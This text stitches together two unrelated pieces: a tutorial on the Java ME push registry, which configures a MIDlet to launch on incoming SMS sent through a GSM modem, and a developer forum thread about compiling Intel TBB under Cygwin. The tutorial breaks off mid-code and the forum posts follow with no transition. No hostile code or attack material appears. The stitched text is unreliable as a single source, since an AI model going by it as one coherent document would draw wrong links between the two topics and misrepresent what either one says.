Included with Java ME is the Connected Limited Device Configuration (CLDC), which targets those devices that have limited resources and use a KVM. Also included in Java ME is the Mobile Information Device Profile (MIDP), a CLDC-based profile for running applications on cell phones. The application component, which runs in the mobile device, is a MIDlet, a MIDP application. A MIDlet is basically a set of classes designed to be run and controlled by the application management software (AMS) inside a mobile device., without the device being explicitly started by the user. Imagine a situation where a user must be automatically notified when a work item has been created against his/her name and must respond to the work item as soon as possible. Java ME's push registry easily pushes a message to a Java ME application and automatically launches the application. In this article, I will show you how you can add the push registry feature to your mobile application.
The push registry's behavior can be described in the following three steps:
- The MIDlet registers a port along with the protocol name in the mobile device such that, if any message arrives in the specified port with the protocol mentioned, the AMS delivers it to the MIDlet. The registration is done statically using the Java ME application descriptor (JAD) file. The program can also perform dynamic registration using an API inside the application.
- From the server, a message is sent to the specific mobile device using the particular protocol and port where the MIDlet application is registered to listen.
- After the message is delivered to the mobile device, the AMS calls the MIDlet application, which has registered to listen to that particular port and particular protocol. Once the message is delivered to the MIDlet, it is the application's responsibility to process the message accordingly. Typically, an application may choose to open a screen, depending on the message, and allow the user to do some server transaction.
To push the message from the server, in this article's example, we will use a GSM (global system for mobile communication) modem. Figure 1 describes at a high level the exact scenario we will achieve in this article.
Each push registration entry in the jad file contains the following information:
MIDlet-Push-<n>:
<ConnectionURL>,
<MIDletClassName>,
<AllowedSender>.
MIDlet-Push-<n>:: The push registration attribute name. Multiple push registrations can be provided in a MIDlet suite. The numeric value for
<n>starts from 1 and must use consecutive ordinal numbers for additional entries. The first missing entry terminates the list. Any additional entries are ignored.
ConnectionURL: The connection string used in
Connector.open().
MIDletClassName: The MIDlet responsible for the connection. The named MIDlet must be registered in the descriptor file or the jar file manifest with a
MIDlet-<n>record.
AllowedSender: A designated filter that restricts which senders are valid for launching the requested MIDlet.
The MIDP 2.0 specification defines the syntax for datagram and socket inbound connections. When other specifications define push semantics for additional connection types, they must define the expected syntax for the filter field, as well as the expected format for the connection URL string.
A typical example of push registry in the jad file, using socket connection, resembles the following:
MIDlet-Push-1: socket://:77, com.sample.SampleApplication, *. This sample descriptor file entry reserves a stream socket at port 77 and allows all senders.
Pushing the message from the server to the mobile device leads to some issues: If we want to send a message to a particular device that has registered to listen to the socket stream on a specific port, we must know the mobile phone's wireless network IP. As many phones do not use the always-connected environment in the wireless network (sometimes the provider does not support the device's static IP inside its network), sending a message to such a device is problematic. If we do not know the device's wireless IP, we will not be able to send a message to the device using the socket connection from the server.
Short message service (SMS) comes in handy for this situation. With SMS, we specify the destination device's phone number; so in this situation, we do not need to know the device's IP address. But using SMS as a trigger also involves some issues: Since the MIDP 2.0 specification defines the syntax for datagram and socket inbound connections and not for SMS connections, it is not guaranteed that all the devices supporting MIDP 2.0 will be able to use SMS as a trigger for the push registry. But the Wireless Messaging API (WMA 1.1)—an optional package over MIDP, which can support SMS—is now supported by many mobile devices, so there is a better chance that SMS will be supported by many devices as a trigger to the push registry. For this article, I use a Nokia 6600 mobile handset, which supports SMS as a push registry trigger.
In addition, sending an SMS message from the server to the device is not straightforward, since multiple approaches are available. SMS service providers provide the APIs (or expose service URLs) through which you can send messages to the designated mobile phone from your server-side application. But this approach requires a dependency on the SMS service provider and its special plans. The alternate way is to use a GSM modem, where you need to interface the GSM modem with your server-side application. In this article, I use an open source product, SMSLib for Java v1.0 (formerly jSMSEngine), which interfaces the GSM modem with the Java server-side application.
Another important point to note here is that a simple SMS message will not activate the MIDlet. We must send the SMS message to the particular port where the MIDlet is registered to listen. Hence, the software (or the SMS service provider) used to send the SMS message must be able to send it to a device's specific port. The SMSLib for Java v1.0 supports this functionality.
When we use the GSM modem approach, we must understand that the GSM modem will internally use the SIM (subscriber identify module) card to send the SMS message. This SIM card is tied to a mobile service provider. So each SMS message will cost the same as a message sent from a normal GSM mobile phone. On the contrary, sending bulk SMS messages via the provider's SMS gateway may prove more cost effective for an enterprise application (depending on the service plan). But if an application does not need to send many SMS messages to trigger the MIDlet, then a GSM modem approach may be cost effective and removes the special bulk SMS service dependency from the mobile service provider.
Though I suggest buying a separate GSM modem for the approach's production usage, testing the behavior does not call for buying one. Currently, many GSM mobile phone models come with a built-in GSM modem. One of these mobile models can be used as a GSM modem instead of a separate one. In this article, instead of a separate GSM modem, I use another Nokia 6600 mobile phone, as Nokia 6600 has a built-in GSM modem.
Let's now develop a sample application that will enable us, from a Java server-side application, to send an SMS message to a mobile phone's specific port and automatically launch a MIDlet in the mobile device.
Develop the client-side MIDlet using the push registry feature
To develop the client, we will use the Sun Java Wireless Toolkit (formerly known as J2ME Wireless Toolkit). I use version 2.2. This product is free and can be downloaded from Sun's Website. To install and run this toolkit you must have J2SE 1.4.2_02 or a more recent version installed in your machine.
I use Windows 2000 Professional as the operation system.
After installing Sun's toolkit follow the steps described below:
Open the KToolbar from the Start menu: select Programs, then J2ME Wireless Toolkit 2.2, then KToolbar. An application window will open, shown in Figure 2.
Figure 2. Open the KToolbar. Click on thumbnail to view full-sized image.
Now click on the New Project icon in the window just opened. A pop-up window will open; there you can specify the project name and MIDlet class name. Type MySamplePushRegistryProject for the project name and com.sample.MySamplePushRegistry for the MIDlet class name.
Figure 3. Create a new project
After Step 2, another pop-up window will automatically appear, which will allow you to set other settings for the project. Make sure you are in the API Selection tab. In this tab, select JTWI from the target platform drop-down menu (if not already selected). Also make sure the CLDC 1.0 radio button is selected. Uncheck the Mobile Media API checkbox (as we are not going to use any API related to multimedia). Refer to Figure 4 for your reference.
Figure 4. Set the API preference. Click on thumbnail to view full-sized image.
Now go to the Push Registry tab. Click on the Add button. A pop-up window will appear. Type sms://:50001 in the Connection URL field, com.sample.MySamplePushRegistry in the Class field, and * in the Allowed Sender field. Refer to Figure 5 for your reference.
Figure 5. Set the push registry property
After Step 4, an entry will be added in the parent window, as shown in Figure 6.
Figure 6. Set the push registry property (continued). Click on thumbnail to view full-sized image.
- Now go to the Permissions tab. Click on the Add button. Select the javax/microedition/io/Connector/sms from the permission tree and click OK. Repeat the same step to add the permissions javax/wireless/messaging/sms/receive and javax/microedition/io/PushRegistry.
After Step 6, three permissions will be added in the application, as shown in Figure 7.
Figure 7. Add the permissions. Click on thumbnail to view full-sized image.
Now go to the User Defined tab. Here we add a user-defined variable, which will contain the SMS port. From our program, we refer to this user-defined variable to read the SMS port. In this tab, click on the Add button. A pop-up window opens. Type SMS-Port as the property name. Select OK. The original pop-up window appears. Type 50001 as the value of the SMS-Port key, as shown in Figure 8.
Figure 8. Add the custom property SMS-Port. Click on thumbnail to view full-sized image.
- Now click on OK in the Settings window. This action will bring back the KToolbar.
- After Step 9, if you look into the jad file generated by the above steps, C:/WTK22/apps/MySamplePushRegistryProject/bin/MySamplePushRegistryProject.jad (assuming that the J2ME Wireless Toolkit 2.2 has been installed in the C:/WTK22 directory), you will find the entire configuration, which you set in the earlier steps. One of the important entries is the following:
MIDlet-Push-1: sms://:50001, com.sample.MySamplePushRegistry, *. This entry ensures your application will listen on port 50001 for an SMS message.
Let's now look at the code for the MIDlet application. Here, I only provide a partial code snippet of the MIDlet. See Resources to download the whole codebase used in this application.
public class MySamplePushRegistry extends MIDlet implements CommandListener, Runnable, MessageListener { //.... public void startApp() { smsPort = getAppProperty("SMS-Port"); String smsConnection = "sms://:" + smsPort; if (smsconn == null) { try { smsconn = (MessageConnection) Connector.open(smsConnection);
smsconn.setMessageListener(this); } catch (IOException ioe) { ioe.printStackTrace(); } } display.setCurrent(resumeScreen); } public void notifyIncomingMessage(MessageConnection conn) { if (thread == null) { thread = new Thread(this); thread.start(); } } public void run() { try { msg = smsconn.receive(); if (msg != null) { if (msg instanceof TextMessage) {
content.setString(((TextMessage)msg).getPayloadText()); } display.setCurrent(content); } } catch (IOException e) { e.printStackTrace(); } } //other methods to follow } | http://www.javaworld.com/article/2071753/mobile-java/push-messages-that-automatically-launch-a-java-mobile-application.html | CC-MAIN-2016-07 | refinedweb | 2,042 | 57.16 |
Finally some news about KDevelop C++ support and Code Completion.
Yesterday i've made many changes to cppsupport, now we have a new and more simple to maintain code completion engine :)
of course the code is not finished yet. for instance, the
support for namespaces still sucks, but i hope to finish it soon.
Now i'm experimenting with QDataStream and Tags(kdevelop/lib/catalog), i'm thinking to
replace our persistant class store with a QDataStream based one. the point is
berkeley DB isn't so cool as i've expected! the file size of the PCS db is too big and it's incredible
slow when you have many items stored.
This place is a blogging platform for KDE contributors. It only hosts a fraction of KDE contributor's blogs. If you are interested in all of them please visit the agregator at Planet KDE. | https://blogs.kde.org/2003/07/08/kdevelop-c-support | CC-MAIN-2020-16 | refinedweb | 147 | 72.97 |
Zope Page Templates
In the early days of the Web, nearly everyone working on a web site was a programmer of some sort. You could be sure that every webmaster had installed his or her own web server, knew how to hand-code HTML and could write rudimentary CGI programs on their own.
Over time many editors, designers and other nonprogrammers became involved in the creation of web sites. Although it was often possible to teach these people HTML, it was HTML that was only good enough for static web pages.
Dynamically generated pages, which were then created almost exclusively by CGI programs, are another story altogether. After all, if the designer wants to change a site's background color on a static site, then he or she can simply modify the appropriate HTML files (or site-wide stylesheet, in today's world). But if such designs sit within a CGI program, the designer then must ask a programmer to make that change. This situation is bad for everyone; the designer cannot easily experiment with new ideas, the programmer is forced to make small and annoying changes and other programming work is put on hold while the programmer makes the changes.
For a number of years, the mainstream solution to this problem has been the use of templates, which mix HTML and a programming language. Perhaps the best-known commercial implementation of such templates is Microsoft's Active Server Pages (ASP), but Sun's JavaServer Pages (JSPs) is also quite popular. Open-source software developers have produced many high-quality template implementations of their own, including HTML::Mason (which works best with mod_perl), PHP (a programming language used for web templates) and ADP (available with AOLServer).
The idea behind such templates is quite simple: everything is assumed to be static HTML, except what is placed within a special set of brackets. When working with such templates, the designer is basically told, “You can modify everything that doesn't appear inside of <% and %>.” And indeed, this often can work well.
But over time, the drawbacks of such templates become increasingly apparent. For starters, what happens when you want to loop through a number of items that you have retrieved from a database, displaying each item in a different background color depending on its content? In such a case, you cannot ask the designer to ignore the code because the code and HTML are so intertwined.
Zope, the application server that we have been looking at the last few months, tried to solve this problem using something they call DTML (Dynamic Template Markup Language). As we saw several months ago, DTML is a programming language with an HTML-like syntax that allows developers and designers alike to create dynamic pages. DTML is powerful, flexible and easy to understand (at least if you're a programmer).
But if you're not a programmer, then even DTML can be difficult to understand, particularly when it is retrieving results from a database (as we saw last month). Moreover, HTML editors don't know what to do with the DTML tags, which can lead to the inadvertent mangling of DTML pages.
For all of these reasons, Zope Corporation (formerly Digital Creations), which develops the open-source Zope application server, is now encouraging developers to look at Zope Page Templates (ZPT), a new approach to templates meant to solve most of these problems. This month we examine ZPT, looking at ways in which we can use it to create dynamic sites.
ZPT takes advantage of three facts: HTML can be expressed in XML syntax, often known as XHTML; XML allows you to mix tags and attributes from different document definitions by using separate namespaces; and WYSIWYG HTML editors generally ignore (but preserve) attributes they do not recognize.
ZPT thus modifies the core HTML syntax by adding new attributes that sit in a separate namespace. Because these attributes are in a separate namespace, they are legal XML and XHTML. Because they are attributes and not tags, most HTML editors will ignore them, rendering the tag as if the attribute did not exist. And because web browsers ignore attributes that they do not understand, they can render ZPT pages without having to go through Zope.
In other words, ZPT makes it possible for a programmer to mock up a page so that a designer can then edit and view it using any tools they like. Of course, the dynamic elements of the template go into effect only when the template is viewed using Zope.
In HTML, each attribute has a name and a value, e.g., in <a href="">Reuven's site</a>, the attribute href had the following value:. The name and value are separated by an equal sign (=), and the value sits inside of double quotation marks. None of this changes when we work with ZPT, except that the attribute name is defined by TAL (Template Attribute Language). TAL defines a number of different possible attributes names, each of which directs Zope to modify the template in a different way when it is displayed.
TAL defines the attribute names, but what defines the attribute values? For that, we use TALES (TAL Expression Syntax). TALES defines a number of sources for data, including Python expressions and values from the surrounding Python namespace.
The combination of an attribute name from TAL (which tells Zope how to handle the surrounding tag) and an attribute value from TALES (which tells Zope what value to use in this TAL expression) gives us amazing flexibility in building page templates. In addition, the fact that TAL and TALES are published and have open-source specifications means that you can add to them if you have specific needs that they don't cover..) | http://www.linuxjournal.com/article/5950?quicktabs_1=2 | CC-MAIN-2017-43 | refinedweb | 958 | 56.79 |
A point cloud is a set of points in a 3D space. You can view the cloud from different angles and lighting conditions. You can even apply colors and textures to its surfaces. A point cloud is one step away from a full 3D model and sometimes it is more useful.
One of the things that every Kinect programmer will be keen to try out is using the depth map to create a 3D point cloud. This is relatively easy in principle, but there are so many fine details you need to get right that it can be more difficult than you expect.
So far we have been plotting the depth field using 2D graphics, using color or brightness to give the depth of each pixel. Now we need to use the depth information supplied by the Kinect to construct a true 3D model of the scene.This can then be viewed in the usual way.
The first problem we have is deciding how to work with 3D using C#. There is no obvious choice for a 3D framework in managed code and the situation with Windows Forms is even more complicated and difficult. There is no official library to allow you to make use of DirectX from C#. Essentially there are two main choices - XNA or WPF. The details of using 3D are more or less the same between XNA and WPF and which is best depends on the rest of the application. In many ways WPF is the simpler of the two so let's start with it.
If you want an introduction to WPF 3D graphics then read Easy 3D which provides an example project which draws and animates a 3D cube. For our application we need a simple shape to create the plot of the point cloud. The reason we need simplicity is that WPF 3D isn't particularly efficient and if we plan to plot a point cloud based on a 320 x 240 depth map then we need to create over 76,000 3D objects. WPF tends to slow down at around 10,000 or so objects unless they are very simple.
To get the required performance, we will make use of a simple 2D triangle facet. This is enough to display the point cloud quite well but if you want something more complicated then you could try other solid shapes - you can see what happens when we use a cube later.
There are two main components to building a 3D scene - creating a 3D mesh complete with properties and setting up a camera to render the scene. Let's tackle these tasks in order.
Start a new WPF project and add
using System.Windows.Media.Media3D;
Also use the designer to add a Canvas object and a Button to the form. The Canvas object will host our 3D view and the button will be used to start the code running.
We need to create a triangular surface to use in the 3D plot as a marker. To do this all we need are three points to define the triangle and a list of how these are connected together to form a mesh.
The Triangle method returns a GeometryModel3d object which contains a mesh and the properties to be applied to the mesh:
private GeometryModel3D Triangle( double x, double y,double s){
x and y give the position of the bottom corner and s is the size of the triangle's side. The 3D co-ordinate system has y increasing up the screen.
First we need to define the geometry as a set of points and the order that the points are connected up:
Point3DCollection corners = new Point3DCollection();corners.Add(new Point3D(x, y, 0));corners.Add(new Point3D(x, y + s, 0));corners.Add(new Point3D(x+s, y+s, 0));Int32Collection Triangles = new Int32Collection();Triangles.Add(0);Triangles.Add(1);Triangles.Add(2);
Notice that the three points are listed in a anticlockwise order as viewed from the -z side of the axes and the triangle is at z=0. By definition the front face is the anticlockwise side of a facet and we plan to view this triangle from 0,0,0 looking into the positive z direction i.e. along the z axis towards points that have a +z coordinate. The reason this choice is made is so that the Kinect's depth measurements can be translated to 3D coordinates without any transformations.
Now that we have the geometry defined, we can create a MeshGeometry3D object
MeshGeometry3D tmesh = new MeshGeometry3D();tmesh.Positions = corners;tmesh.TriangleIndices = Triangles;
It is also useful to define a direction that is at right angles to the front surface of the triangle - the normal vector. This is used in some types of lighting calculation.
tmesh.Normals.Add(new vector3D(0,0,-1));
Now all we have to do is to put the geometry together with some material properties and return the result:
GeometryModel3D msheet = new GeometryModel3D(); msheet.Geometry = tmesh; msheet.Material = new DiffuseMaterial( new SolidColorBrush(Colors.Red)); return msheet;}
A simple diffuse material in a single color is the simplest, and hence fastest, option. | http://www.i-programmer.info/ebooks/practical-windows-kinect-in-c/4126.html | CC-MAIN-2016-18 | refinedweb | 858 | 61.87 |
PageRank (PR) is an algorithm used by Google Search to rank websites in their search engine is used to find out the importance of a page to estimate how good a website is.PageRank (PR) is an algorithm used by Google Search to rank websites in their search engine is used to find out the importance of a page to estimate how good a website is.
It is not the only algorithm used by Google to order search engine results.
In this topic I will explain
What is PageRank?
· Page rank is vote which is given by all other pages on the web about how important a particular page on the web is.
· A link to a page counts as a vote of support.
· The number of times a page is refers to by the forward link it adds up to the website value.
· The number of times it is taken as an input to the previous page it also adds up to the web value.
Simplified algorithm of PageRank:
Equation:
PR(A) = (1-d) + d[PR(Ti)/C(Ti) + …. + PR(Tn)/C(Tn)]
Where:
PR(A) = Page Rank of a page (page A)
PR(Ti) = Page Rank of pages Ti which link to page A
C(Ti) = Number of outbound links on page Ti
d = Damping factor which can be set between 0 and 1.
Let’s say we have three pages A, B and C. Where,
1. A linked to B and C
2. B linked to C
3. C linked to A
Calculate Page Rank:
Final Page Rank of a page is determined after many more iterations. Now what is happening at each iteration?
Note: Keeping
· Standard damping factor = 0.85
· At initial stage assume page rank of all page is equal to 1
Iteration 1:
Page Rank of page A:
PR(A) = (1-d) + d[PR(C)/C(C)] # As only Page C is linked to page A
= (1-0.85) + 0.85[1/1] # Number of outbound link of Page C = 1(only to A)
= 0.15 + 0.85
= 1
Page Rank of page B:
PR(B) = (1-d) + d[PR(A)/C(A)] # As only Page A is linked to page C
= (1-0.85) + 0.85[1/2] # Number of outbound link of Page A = 2 (B and C)
= 0.15 + 0.425 # and page rank of A was 1 (calculated from previous
= 0.575 # step)
Page Rank of page C:
· As Page A and page B is linked to page C
· Number of outbound link of Page A [C(A)] = 2 (ie. Page C and Page B)
· Number of outbound link of Page B [C(B)] = 1 (ie. Page C)
· PR(A) = 1 (Result from previous step not initial page rank)
· PR(B) = 0.575 (Result from previous step)
PR(B) = (1-d) + d[PR(A)/C(A) + PR(B)/C(B)]
= (1-0.85) + 0.85[(1/2) + (0.575/1)]
= 0.15 + 0.85[0.5 + 0.575]
= 1.06375
This is how page rank is calculated at each iteration. In real world it iteration number can be 100, 1000 or may be more than that to come up with final Page Rank score.
Implementation
of PageRank in Python:
By networkx package in python we can calculate page rank like below.
import networkx as nx import pylab as plt # Create blank graph D=nx.DiGraph() # Feed page link to graph D.add_weighted_edges_from([('A','B',1),('A','C',1),('C','A',1),('B','C',1)]) # Print page rank for each pages print (nx.pagerank(D))
Output:
{'A': 0.38778944270725907, 'C': 0.3974000441421556, 'B': 0.21481051315058508}
# Plot graph nx.draw(D, with_labels=True) plt.show()
How
PageRank works?
Official networkx documentation saying the PageRank algorithm takes edge weights into account when scoring.
Link:
Let’s test how it works. Let’s say we have three pages A, B and C and its graph as follows.
Weight matrix:
Explain:
· Weight of A to B is 3 A to C is 2 and total number of out link of A =0+2+3 =5
· Weight of C to A is 1 C to B is 0 and total number of out link of C =1+0+0 =1
· Weight of B to A is 0 B to C is 1 and total number of out link of B =0+1+0 =1
So Weighted Score (WS) for:
· A-B = 3
· A-C = 2
· C-A = 1
· B-C = 1
Note: A-B implies to A to B
Equation:
PR(A) = (1-d)*p + d(x * WS(Ti)/C(Ti))
Where:
PR(A) = Page Rank of a page (page A)
WS(Ti) = Weighted Score of a page Ti
C(Ti) = Number of outbound links on page Ti
d = Damping factor which can be set between 0 and 1. (0.85 is default value)
p = Personalized vector which is ignorable
x = Initial page rank of a page = 1/3 for each page as total 3 pages we have.
Calculate WS(Ti)/C(Ti):
Calculate (x * WS(Ti)/C(Ti)):
So from above:
(x * WS(Ti)/C(Ti)) value of A = 0.33
(x * WS(Ti)/C(Ti)) value of C = 0.462
(x * WS(Ti)/C(Ti)) value of B = 0.198
Now let’s calculate Page Rank:
Page Rank of A:
PR(A) = (1-d)*p + d(x * WS(Ti)/C(Ti))
PR(A) = (1-0.85) + 0.85(0.33) # Ignoring personalization factor(p)
= 0.15 + 0.2805
= 0.4305
Page Rank of C:
PR(A) = (1-d) + d(x * WS(Ti)/C(Ti))
PR(A) = (1-0.85) + 0.85(0.462) # Ignoring personalization factor(p)
= 0.15 + 0.3927
= 0.5427
Page Rank of B:
PR(A) = (1-d) + d(x * WS(Ti)/C(Ti))
PR(A) = (1-0.85) + 0.85(0.198) # Ignoring personalization factor(p)
= 0.15 + 0.1683
= 0.3183
Note: This all is just one iteration.In networkx package pagerank function have 100 iteration by default.
Conclusion:
In this article I have covered
· Overview of Page Rank
· What is Page Rank Algorithm
· How Page Rank Algorithm works
· Implementation of Page Rank Algorithm in Python by networkx package (pagerank function)
· How pagerank function of networkx package works.
Do you have any question?
Ask your question in the comment below and I will do my best to answer. | https://www.thinkinfi.com/2018/08/how-google-page-rank-works-and.html | CC-MAIN-2020-34 | refinedweb | 1,059 | 81.02 |
Introduction to Java
Overview of Java
Introduction
A computer language is a series of words used to give instructions
to the computer, telling it what to do, how to do it, and when to do it. Just
like there are various human languages used to communicate, there are also
various computer languages. One of these computer languages is called Java. The
purpose of this site is to study this language.
In our lessons, we will learn Java as a computer language
not as a development environment. This means that we will primarily build
applications that show how this language functions, not how to create graphical
applications. The types of programs we will create on this site are called
console applications. By default, a console application displays its result(s)
in a black window. To make it a little easier, we will use an environment that
displays a window but with a different background color.
Getting Into Java
As you may be aware, the computer doesn't speak or
understand human languages. Still, to communicate your instructions to the
computer, you can write them in a human language, using characters, letters,
symbols, and words you are familiar with. When doing this, you prepare text that
would be communicated to the computer. For the computer to understand these
instructions, they must be "translated" into the computer's own
language, also called the machine language. This intermediary
"translator" is also called a compiler. There are various compilers on
the market. One of them, or a few of them, are provided by Sun and they are
free. Although we will create only console applications, we will use NetBeans
IDE.
To start, connect to the Sun
Microsystems web site, click the Downloads link or do a search on the word
"Java". Download the latest Java 2 Platform, Standard Edition or J2SE development kit. At the time of this
writing, it is J2SE 5.0. You may be prompted to download the NetBeans IDE + JDK 5.0 Update 2.
This is fine.
Language Fundamentals
Introduction to Classes
Imagine you want to create a list of books of your personal
library. To characterize each book, you can create a list of words that describe
it. This list would be made of general characteristics of each book. Here is an
example:
In the computer world, the work Book in the above example is
referred to as a class: A class is a list of criteria used to describe
something. Each word or group of words, in bold in the above example, is
called a property of the class. In our example, Book Title is a property of the
Book class. In the same way, Author is another property of the of the Book
class. In Java, there is never space between two words that represent the same
entity. This means that the above list is better represented as follows:
One class can also be a property of another class
(unfortunately, we need to mention these issues in our introduction but don't
make too much effort to understand them: everything will be clearer in future
lessons). For example, imagine you create another class that can be used to
describe each author of a book. The list of properties can be created as
follows:
You can then use this class to define a criterion in the
Book class, exactly as done above: only the Author word is necessary in the Book
class, its Name and Nationality criteria are directly represented.
Every property that is created in the class is referred to
as its member. For example, in the above lists, Nationality is a member of the
Author class while Publisher is a member of the Book class.
Introduction to Objects
To describe a particular book of your collection, you can
provide information for each characteristic of the class used to describe it.
Here is an example:
In the same way, you can describe each author of the
collection by filling out its characteristics using the above criteria. When
describing an object as done in this example, you must first give a name to the
object (this is not always necessary as we will see in future lessons). In the
above example, Modjang is the name of the object. Author is (still) the name of
the class. This name is necessary because you would need it in a class where
Author must be used as a member. Based on this, you can use the name of the
above class when describing a Book object. Here is an example:
It is important to understand the difference between a class
and an object. An object is the result of describing something using the preset
criteria of a (known) class. In the strict sense, you must first create a class
by specifying each criterion you want to use to eventually describe some
objects. On the other hand, you can create an object only that is based on an
existing class.
Everything statement in Java must end with a semi-colon.
This results in the following:
Methods
In many cases, only characteristics are necessary to have a
class on which complete objects can be described. Still, an object may be
expected to perform one or more assignments or actions. An assignment that an
object can perform is called a method.
Imagine you have books that that can open or close
themselves when asked to do so (Sci-Fi anyone?). The action used to open may be called Open. To
differentiate an assignment, or method, from a property, the name of a method
must be followed with parentheses. Here are two examples:
Although this list shows the methods last, this is not a rule, the
methods can be the first, the last, or included between, as long as they belong
to the class. In the same way, a class that is made a property (member) of a class can
also have its own methods.
Every item that is created in a class is referred to as
its member.
Introduction to Built-In Classes
A computer language is developed from scratch. Then other
languages can be developed using its existing rules. This is also a rule that
people who developed Java followed. One of the assignments they performed was to
create many classes that you can directly use in your program to lay a solid
foundation and work on top of that. The classes that already exist with Java are
referred to as built-in classes. To make it easy to "catalog" the
various built-in classes, they were created in libraries called packages and
there are various of them.
One of the classes that ship with Java is called System.
One of the jobs of the System class is to display something on the screen. To
perform this job, the System class is equipped with a property called out.
Actually, out itself is a class as we mentioned earlier that one class
can be used as a property of another class. To actually display something on the
screen, the out class is equipped with a method called println (read
Print Line). To display something, you can write it between the parentheses of
this method. If the item to display is a word, you must include it between
double-quotes.
We will see that another job it can handle is to get a value
from the user.
Applications Fundamentals
Creating a Project
A Java application is primarily created from a file located
in a folder. As we will see in the next section, this file contains a class (we will
learn more about classes starting in Lesson 4). You must
use a folder in which you will save the file:
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.
C:\Documents and Settings\Administrator>CD\
C:\>MD Exercise1
C:\>
Instead of working manually, you can use NetBeans.
Creating a File
Java code consists of instructions written in plain
English. The simplest document of a Java code contains a class and
something called main. The formula we will use and accept at this time is:
public class Exercise {
public static void main(String[] args) {
}
}
Every single word or symbol on the above code will be
explained in later lessons. For now, accept it "as is".
After typing the code, save it in the desired folder. Here
is an example:
Introductions
Practical
Learning: Starting NetBeans
Compiling a Project
After writing code and saving the file, you can prepare it to
see the result. You must first compile it. Of course you must have downloaded
the Java compiler or NetBeans. If you are working from the Command Prompt, it
may be a good idea to modify the System Variable. Before doing this, locate the
installation of Java on your computer and show the contents of the bin
folder:
Select and copy the path in the Address bar.
To prepare the path, open the Control
Panel and access the Administrative Tools followed by System. Click Advanced
In the Startup and Recovery section, click Environment
Variables. In the section, System Variables section, double-click Path. In
the Variable Value, press End, type ; and type the path to the bin folder of
Java. Here is an example:
Click OK.
To compile the project at the Command Prompt, switch
to the folder where you saved the file:
To actually compile, you use the program named javac
followed by the name of the file and the extension .java. An example is:
javac Exercise.java
Executing a Project
To see the result of an application, you must
execute it. To do this at the Command Prompt, the program to use is
called java. Therefore, to execute an application at the Command
Prompt, type java followed by the name of the file with the
extension and press Enter.
Practical
Learning: Executing a Project
Java Support for Code Writing
Empty Spaces
Java code consists of instructions written in plain
English. Many of these instructions can be written on one line of code.
Here is an example:
public class Exercise{public static void main(String[] args){}}
This code works fine because Java doesn't care where
the empty spaces among the words and expressions of code are positioned.
For example, the above code could have been written as follows:
public
class
Exercise
{
public
static
void
main
(
String
[
]
args
)
{
}
}
It would still work fine. If you write code like any
of the above two sections, it can be difficult to read. The alternative is
to write each statement on its own line. A statement is a line that code
that ends with a semi-colon.
The exception to this rule is when you use the for
loop as we will learn in future lesson. Besides the semi-colon statements,
you can use indentation to make your code easy to read. Indentation
consists of aligning sections of code that belong to the same block. For
example, if you start a section of code with an opening curly bracket
"{", you must end that section with a closing curly bracket
"}". Here is an example:
public class Exercise
{
public static void main(String[] args)
{
}
}
A comment is text that is not part of your code but
serves as guide when trying to figure out what the lines of code of your
program are. This means that a comment is not taken into consideration
when your code is built. For this reason, when writing a comment, you use
plain language as you wish.
There are two usual ways of
including comments in your program. To comment the contents of one line,
you start it with double forward slashes like this //
Here is an example:
// Here is a simple sentence
You can include many lines of comments in your
program. To do that, comment each line with the double slashes. An
alternative is to start the beginning of the commented line or paragraph with /*
and end the commented section with */
Here is another commented version of our program:
// A simple exercise
/* Here is a simple sentence that I want to display
when the program starts. It doesn't do much.
I am planning to do more stuff in the future. */
// The end of my program
Practical
Learning: Using Comments
/**
*
* @author Gertrude Monay
*/
public class Exercise {
public static void main(String[] args) {
// TODO code application logic here
System.out.println("Welcome to the Wonderful World of Java!!!");
}
} | http://functionx.com/java/Lesson01.htm | CC-MAIN-2017-43 | refinedweb | 2,065 | 62.48 |
?
Cygwin support
>>...Are?
Yes, I tried to compile TBB on Cygwin. I used this incantation to get past the first few build system errors (based on a post here, which also states that Cygwin is not supported):
make SHELL=/bin/sh compiler=gcc
This still gives lots of errors. tbb/tbb_machine.h is supposed to include a suitable file that defines a lot of platform-dependent things. However, on Cygwin, it does not recognize the machine it is running on and instead of emitting an error it just doesn't include anything. I got past that by forcing it to do this:
#include "machine/gcc_generic.h"
extern "C" __declspec(dllimport) int __stdcall SwitchToThread( void );
#define __TBB_Yield() SwitchToThread()
I then get a smaller number of errors. The first one is
../../src/tbb/dynamic_link.cpp: In member function ‘bool tbb::internal::_abs_path::prepare_full_path()’:
../../src/tbb/dynamic_link.cpp:159:13: error: ‘Dl_info’ was not declared in this scope
I also tried linking to the TBB Windows pre-built DLLs. That first required the above tricks to get the headers to compile. I found a Cygwin page for how to link Cygwin executables with Windows DLLs. The linker accepted what I gave it but then gave unresolved symbols. Initially it was only a single missing error-handling function that I just implemented myself, but then I got many more linker errors after that. I saw a post stating that this is due to differences in name-mangling between MSVC and GCC.
>>...../../src/tbb/dynamic_link.cpp:159:13: error: ‘Dl_info’ was not declared in this scope...
Just verified and indeed I have Not found a declaration for 'Dl_info' type. I wonder if TBB developers could explain where 'Dl_info' comes from?
Note: This is clearly not for a Windows platform.
Apparently "#if _WIN32||_WIN64" is not taken, but "#include <dlfcn.h>" does not declare Dl_info, the output type for dladdr() (and probably neither), which, according to the dlopen(3) man page, is one of "two functions not described by POSIX" added by glibc. The only member variable used is dli_fname, so the function seems to be used to find the shared library corresponding to an address in memory, although it's not immediately clear to me how that works out with "(void*)&dynamic_unlink" in the same file. Please first do some more research of your own about the situation with dladdr() in Cygwin and/or a workaround that finds the specific information in dli_fname (shouldn't be too difficult, I suppose), and report any results, or come back if you get stuck. "Not supported" isn't necessarily final, but you have to do at least some of your own lifting.
Hello Bjarke,
We can add a support for cygwin in case we will have a contribution with the patch and like we did for mingw support. Time to implement it depends on the patch and how it will actually works.
Actually we played with cygwin a few years ago but there were some problems thread count more than 2. Details can be found there
thanks
--Vladimir
>>make SHELL=/bin/sh compiler=gcc
>>
>>This still gives lots of errors...
Could you post a complete compilation log(s) with as many as possible compilation errors? It should help to understand with what is going on in your development environment.
deleted
I got through the above error and many more errors like it by including Windows.h in some places and by changing #idef _WIN32||_WIN64 to also check for __CYGWIN__ in many places as indicated by compile errors. Just defining _WIN32 or _WIN64 did not work. I had to hack the build system to select pthreads. Since I don't actually know what TBB is doing in most of these places I doubt that this code works, but I got it to compile and link.
I got the tests to compile but not link - there were missing errors for everything in tbbmalloc even though tbbmalloc.dll was correctly linked in. It seems the DLL file was not created in a format that GCC on Cygwin could deal with. I followed this link to deal with that:
